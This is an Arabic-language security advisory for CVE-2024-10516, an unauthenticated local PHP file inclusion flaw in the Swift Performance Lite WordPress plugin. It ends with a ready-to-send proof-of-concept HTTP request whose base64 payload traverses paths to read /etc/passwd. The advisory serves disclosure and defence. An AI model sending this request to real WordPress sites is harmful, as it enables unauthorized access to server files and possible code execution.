CVE-2024-10516

Swift Performance Lite <= 2.3.7.1 - تضمين ملفات PHP المحلية بدون مصادقة عبر 'ajaxify'

الوصف

إن إضافة Swift Performance Lite في ووردبريس عرضة لتضمين ملفات PHP المحلية في جميع الإصدارات حتى 2.3.7.1 وما يشمل ذلك، عبر دالة 'ajaxify'. وهذا يتيح للمهاجمين بدون مصادقة تضمين وتنفيذ أي ملفات على الخادم، مما يسمح بتنفيذ أي كود PHP في تلك الملفات. ويمكن استخدام هذا لتجاوز ضوابط الوصول، أو الحصول على بيانات حساسة، أو تحقيق تنفيذ كود في الحالات التي يمكن فيها رفع وتضمين الصور وأنواع الملفات “الآمنة” الأخرى.

التفاصيل

• النوع: إضافة
• Slug: swift-performance-lite
• الإصدار المتأثر: 2.3.7.1
• درجة CVSS: 8.1
• تقييم CVSS: عالي
• متجه CVSS: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-10516
• الحالة: نشط

إثبات المفهوم

حمولة Base64 = ["template-part","null","../../../../../etc/passwd"]

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 202

action=swift_performance_ajaxify&data=WyJ0ZW1wbGF0ZS1wYXJ0IiwibnVsbCIsIi4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiXQ==